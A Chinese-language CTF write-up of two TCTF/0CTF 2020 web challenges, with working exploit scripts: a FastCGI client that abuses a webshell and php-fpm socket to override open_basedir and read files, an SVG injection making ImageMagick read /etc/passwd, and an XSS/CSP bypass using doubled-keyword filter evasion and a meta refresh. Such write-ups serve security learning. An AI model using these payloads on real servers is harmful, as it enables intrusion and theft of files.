TCTF/0CTF 2020 Writeup

发表于 2020 年 6 月 29 日

又是一年 0CTF, 这次一个人一队单刷一次, 做出了两题 WEB, 可惜只输出了一天, 第二天还要赶 ddl, 还是太蔡了 orz

easyphp

直接给了 webshell, 看 phpinfo,

disable_functions: set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir: /var/www/html
disable_classes: ReflectionClass
Server API: FPM/FastCGI

看样子是需要 rce, 有 disable_functions 和 open_basedir 的限制, 这里可以看到用的是 fpm 而且 fsockopen 没有限制, 可以想到直接打 fcgi, 不过需要知道 unix socket 的路径, 这里可以用 DirectoryIterator 来列目录, 不过试了下只能列根目录, 其他地方还是会被 open_basedir 拦, 比较神奇. 不过好在 fuzz 了一下, 是个常见未知, 在 unix:///var/run/php-fpm.sock.
之后就不用多说了, 用 PHP_VALUE 里面的 open_basedir 覆盖掉 php.ini 里的 open_basedir 即可.

  1import requests
  2
  3sess = requests.session()
  4
  5def execute_php_code(s):
  6    res = sess.post('http://pwnable.org:19260/?rh=eval($_POST[a]);', data={"a": s})
  7    return res.text
  8
  9
 10code = '''
 11class AA
 12{
 13    const VERSION_1            = 1;
 14
 15    const BEGIN_REQUEST        = 1;
 16    const ABORT_REQUEST        = 2;
 17    const END_REQUEST          = 3;
 18    const PARAMS               = 4;
 19    const STDIN                = 5;
 20    const STDOUT               = 6;
 21    const STDERR               = 7;
 22    const DATA                 = 8;
 23    const GET_VALUES           = 9;
 24    const GET_VALUES_RESULT    = 10;
 25    const UNKNOWN_TYPE         = 11;
 26    const MAXTYPE              = self::UNKNOWN_TYPE;
 27
 28    const RESPONDER            = 1;
 29    const AUTHORIZER           = 2;
 30    const FILTER               = 3;
 31
 32    const REQUEST_COMPLETE     = 0;
 33    const CANT_MPX_CONN        = 1;
 34    const OVERLOADED           = 2;
 35    const UNKNOWN_ROLE         = 3;
 36
 37    const MAX_CONNS            = 'MAX_CONNS';
 38    const MAX_REQS             = 'MAX_REQS';
 39    const MPXS_CONNS           = 'MPXS_CONNS';
 40
 41    const HEADER_LEN           = 8;
 42
 43    /**
 44     * Socket
 45     * @var Resource
 46     */
 47    private $_sock = null;
 48
 49    /**
 50     * Host
 51     * @var String
 52     */
 53    private $_host = null;
 54
 55    /**
 56     * Port
 57     * @var Integer
 58     */
 59    private $_port = null;
 60
 61    /**
 62     * Keep Alive
 63     * @var Boolean
 64     */
 65    private $_keepAlive = false;
 66
 67    /**
 68     * Constructor
 69     *
 70     * @param String $host Host of the FastCGI application
 71     * @param Integer $port Port of the FastCGI application
 72     */
 73    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
 74    {
 75        $this->_host = $host;
 76        $this->_port = $port;
 77    }
 78
 79    /**
 80     * Define whether or not the FastCGI application should keep the connection
 81     * alive at the end of a request
 82     *
 83     * @param Boolean $b true if the connection should stay alive, false otherwise
 84     */
 85    public function setKeepAlive($b)
 86    {
 87        $this->_keepAlive = (boolean)$b;
 88        if (!$this->_keepAlive && $this->_sock) {
 89            fclose($this->_sock);
 90        }
 91    }
 92
 93    /**
 94     * Get the keep alive status
 95     *
 96     * @return Boolean true if the connection should stay alive, false otherwise
 97     */
 98    public function getKeepAlive()
 99    {
100        return $this->_keepAlive;
101    }
102
103    /**
104     * Create a connection to the FastCGI application
105     */
106    private function connect()
107    {
108        if (!$this->_sock) {
109            $this->_sock = fsockopen($this->_host);
110            var_dump($this->_sock);
111            if (!$this->_sock) {
112                throw new Exception('Unable to connect to FastCGI application');
113            }
114        }
115    }
116
117    /**
118     * Build a FastCGI packet
119     *
120     * @param Integer $type Type of the packet
121     * @param String $content Content of the packet
122     * @param Integer $requestId RequestId
123     */
124    private function buildPacket($type, $content, $requestId = 1)
125    {
126        $clen = strlen($content);
127        return chr(self::VERSION_1)         /* version */
128            . chr($type)                    /* type */
129            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
130            . chr($requestId & 0xFF)        /* requestIdB0 */
131            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
132            . chr($clen & 0xFF)             /* contentLengthB0 */
133            . chr(0)                        /* paddingLength */
134            . chr(0)                        /* reserved */
135            . $content;                     /* content */
136    }
137
138    /**
139     * Build an FastCGI Name value pair
140     *
141     * @param String $name Name
142     * @param String $value Value
143     * @return String FastCGI Name value pair
144     */
145    private function buildNvpair($name, $value)
146    {
147        $nlen = strlen($name);
148        $vlen = strlen($value);
149        if ($nlen < 128) {
150            /* nameLengthB0 */
151            $nvpair = chr($nlen);
152        } else {
153            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
154            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
155        }
156        if ($vlen < 128) {
157            /* valueLengthB0 */
158            $nvpair .= chr($vlen);
159        } else {
160            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
161            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
162        }
163        /* nameData & valueData */
164        return $nvpair . $name . $value;
165    }
166
167    /**
168     * Read a set of FastCGI Name value pairs
169     *
170     * @param String $data Data containing the set of FastCGI NVPair
171     * @return array of NVPair
172     */
173    private function readNvpair($data, $length = null)
174    {
175        $array = array();
176
177        if ($length === null) {
178            $length = strlen($data);
179        }
180
181        $p = 0;
182
183        while ($p != $length) {
184
185            $nlen = ord($data{$p++});
186            if ($nlen >= 128) {
187                $nlen = ($nlen & 0x7F << 24);
188                $nlen |= (ord($data{$p++}) << 16);
189                $nlen |= (ord($data{$p++}) << 8);
190                $nlen |= (ord($data{$p++}));
191            }
192            $vlen = ord($data{$p++});
193            if ($vlen >= 128) {
194                $vlen = ($nlen & 0x7F << 24);
195                $vlen |= (ord($data{$p++}) << 16);
196                $vlen |= (ord($data{$p++}) << 8);
197                $vlen |= (ord($data{$p++}));
198            }
199            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
200            $p += ($nlen + $vlen);
201        }
202
203        return $array;
204    }
205
206    /**
207     * Decode a FastCGI Packet
208     *
209     * @param String $data String containing all the packet
210     * @return array
211     */
212    private function decodePacketHeader($data)
213    {
214        $ret = array();
215        $ret['version']       = ord($data{0});
216        $ret['type']          = ord($data{1});
217        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
218        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
219        $ret['paddingLength'] = ord($data{6});
220        $ret['reserved']      = ord($data{7});
221        return $ret;
222    }
223
224    /**
225     * Read a FastCGI Packet
226     *
227     * @return array
228     */
229    private function readPacket()
230    {
231        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
232            $resp = $this->decodePacketHeader($packet);
233            $resp['content'] = '';
234            if ($resp['contentLength']) {
235                $len  = $resp['contentLength'];
236                while ($len && $buf=fread($this->_sock, $len)) {
237                    $len -= strlen($buf);
238                    $resp['content'] .= $buf;
239                }
240            }
241            if ($resp['paddingLength']) {
242                $buf=fread($this->_sock, $resp['paddingLength']);
243            }
244            return $resp;
245        } else {
246            return false;
247        }
248    }
249
250    /**
251     * Get Informations on the FastCGI application
252     *
253     * @param array $requestedInfo information to retrieve
254     * @return array
255     */
256    public function getValues(array $requestedInfo)
257    {
258        $this->connect();
259
260        $request = '';
261        foreach ($requestedInfo as $info) {
262            $request .= $this->buildNvpair($info, '');
263        }
264        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
265
266        $resp = $this->readPacket();
267        if ($resp['type'] == self::GET_VALUES_RESULT) {
268            return $this->readNvpair($resp['content'], $resp['length']);
269        } else {
270            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
271        }
272    }
273
274    public function request(array $params, $stdin)
275    {
276        $response = '';
277        $this->connect();
278        
279        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
280
281        $paramsRequest = '';
282        foreach ($params as $key => $value) {
283            $paramsRequest .= $this->buildNvpair($key, $value);
284        }
285        if ($paramsRequest) {
286            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
287        }
288        $request .= $this->buildPacket(self::PARAMS, '');
289
290        if ($stdin) {
291            $request .= $this->buildPacket(self::STDIN, $stdin);
292        }
293        $request .= $this->buildPacket(self::STDIN, '');
294
295        fwrite($this->_sock, $request);
296
297        do {
298            $resp = $this->readPacket();
299            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
300                $response .= $resp['content'];
301            }
302        } while ($resp && $resp['type'] != self::END_REQUEST);
303
304        if (!is_array($resp)) {
305            throw new Exception('Bad request');
306        }
307       
308        switch (ord($resp['content'][4])) {
309            case self::CANT_MPX_CONN:
310                throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
311                break;
312            case self::OVERLOADED:
313                throw new Exception('New request rejected; too busy [OVERLOADED]');
314                break;
315            case self::UNKNOWN_ROLE:
316                throw new Exception('Role value not known [UNKNOWN_ROLE]');
317                break;
318            case self::REQUEST_COMPLETE:
319                return $response;
320        }
321    }
322}
323
324
325$client = new AA("unix:///var/run/php-fpm.sock");
326$req = '/var/www/html/index.php';
327$uri = $req .'?'.'command=ls';
328var_dump($client);
329
330
331$code = "<?php var_dump(scandir('/'));echo base64_encode(file_get_contents('/flag.h'));\\n?>";
332$php_value = "allow_url_include = On\\nopen_basedir = /\\nauto_prepend_file = php://input";
333
334$params = array(       
335        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
336        'REQUEST_METHOD'    => 'POST',
337        'SCRIPT_FILENAME'   => '/var/www/html/index.php',
338        'SCRIPT_NAME'       => '/var/www/html/index.php',
339        'QUERY_STRING'      => 'command=ls',
340        'REQUEST_URI'       => $uri,
341        'DOCUMENT_URI'      => $req,
342        #'DOCUMENT_ROOT'     => '/',
343        'PHP_VALUE'         => $php_value,
344        'SERVER_SOFTWARE'   => 'asd',
345        'REMOTE_ADDR'       => '127.0.0.1',
346        'REMOTE_PORT'       => '9985',
347        'SERVER_ADDR'       => '127.0.0.1',
348        'SERVER_PORT'       => '80',
349        'SERVER_NAME'       => 'localhost',
350        'SERVER_PROTOCOL'   => 'HTTP/1.1',
351        'CONTENT_LENGTH'    => strlen($code)
352);
353
354echo "Call: $uri\\n\\n";
355var_dump($client->request($params, $code));
356'''
357
358ret = execute_php_code(code)
359print(ret)

然后可以发现根目录的 flag.soflag.h, 读取后 strings 一下就能读到 flag. 不过可以看到是与 ffi 有关的, 所以这做法应该是非预期了, 不过之后又上了个 noeasyphp 修了几个非预期解.
最后试了下用 ffi 拿 flag,

1$ffi = FFI::load("/flag.h");
2var_dump($ffi);
3var_dump($ffi->flag_fUn3t1on_fFi());

也是能读到 flag 的, 不过这方法名和文件名是怎么预期得到呢, 猜测可能需要用 ffi 的功能去直接越界读内存? 感觉预期解更有意思一点.

Wechat Generator

大概功能如下:

  1. 前端提交对话到后端, 后端返回生成的 svg 和对应的 id 到前端预览
  2. 前端提交 id 到后端, 渲染 svg 到图片

问题出在生成, 有个功能是插入表情, 比如 [cool], 会被替换为

1<image x="1240" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://pwnable.org:5000/static/emoji/cool"/>

显然可能存在注入, 我们输入 [cool"><a></a><a href="], 就成功注入了 <a></a> 到 svg 里面. 这里可以想到之前空指针的一道题, imagemagick 在对 text:/ 协议解析时, 会直接读取文件里的内容, 于是我们就能通过这个方式, 注入一个图片, 链接到 text:/etc/passwd, 之后就能通过后端渲染得到的图片, 得到文件内容.

 1import requests
 2import base64
 3
 4sess = requests.session()
 5
 6d = '''
 7[{"type":0,"message":"Love you!<a>asd</a>[cool\\"/><image xlink:href=\\"text:/etc/passwd\\" x='-400px' y='400px' height='1500px' width='1500px'/><a href=\\"]"},{"type":1,"message":"Me too!!!"}]
 8'''
 9
10res = sess.post('http://pwnable.org:5000/preview', data={'data': d})
11svg = base64.b64decode(res.json()['data'][len('data:image/svg+xml;base64,'):])
12
13with open('1.svg', 'wb') as f:
14    f.write(svg)
15
16pid = res.json()['previewid']
17res = sess.post('http://pwnable.org:5000/share', data={'previewid': pid})
18print(res.text)

这里注意, 注入的内容前面一定要跟点东西, 不能直接这样 ["><a></a><a href="], 因为 http://pwnable.org:5000/static/emoji/, 返回的是 404, 而 http://pwnable.org:5000/static/emoji/随意的内容 返回的是微笑. 如果什么都没有, imagemagick 得到 404 的话, 解析会直接中止.

现在就能读取文件了, 结合后端是 python, 然后一顿测试, 得到应用在 /app/app.py, 可惜这里因为 imagemagick 的问题, 能读的源码有限, 调大图片尺寸也只能得到放大的文字, 不能显示更多的文字.

部分源码:

访问 http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws, 然后题目一转 xss… 要求 alert(1).
因为这里有 csp 限制, 没法直接在 svg 里面用 script alert, 导致这里卡了挺久, 然后发现 imagemagick 生成的文件拓展名是可控的, 也就是第二步, 得到图片的路径是 http://pwnable.org:5000/image/gzVIsH/png, 修改最后的 png 到 svg, 就会如蜜传如蜜, 直接输出一张的 svg, 而且 content-type 也会改变. 不过这里后端限制了扩展名长度只能为 3, 否则会直接报错.
这里查看文档, 发现 imagemagick 是支持输出 htm 的, http://pwnable.org:5000/image/gzVIsH/htm 得到的就是 htm, content-type 也变成了 text/html. 于是 xss 思路就来了, 看到源码的过滤是直接替换为空, 可以用喜闻乐见的双写绕过.
然后在 svg 里面把最外面的 svg tag 给闭合了, 插入一个 html tag, 再用 meta 标签跳到我们的站上 alert(1) 即可, 这样就绕过了 csp.

1d = '''
2[{"type":0,"message":"Love you!<a>asd</a>[cool\\"/></g></svg><html><metmetaa http-equiv='refresh' content=\\"0;URL='http://site.com/'\\" /></html><a href=\\"]"},{"type":1,"message":"Me too!!!"}]
3'''

不过感觉可能也是非预期? 因为看源码还有个可控 callback name 的 jsonp 没用上.

PS. 这里其实可以直接读 /proc/self/environ 来读环境变量, 可惜 imagemagick 碰到 \x00 就停止读取了, 导致只能读取第一个环境变量 PATH, 读不到后面的 flag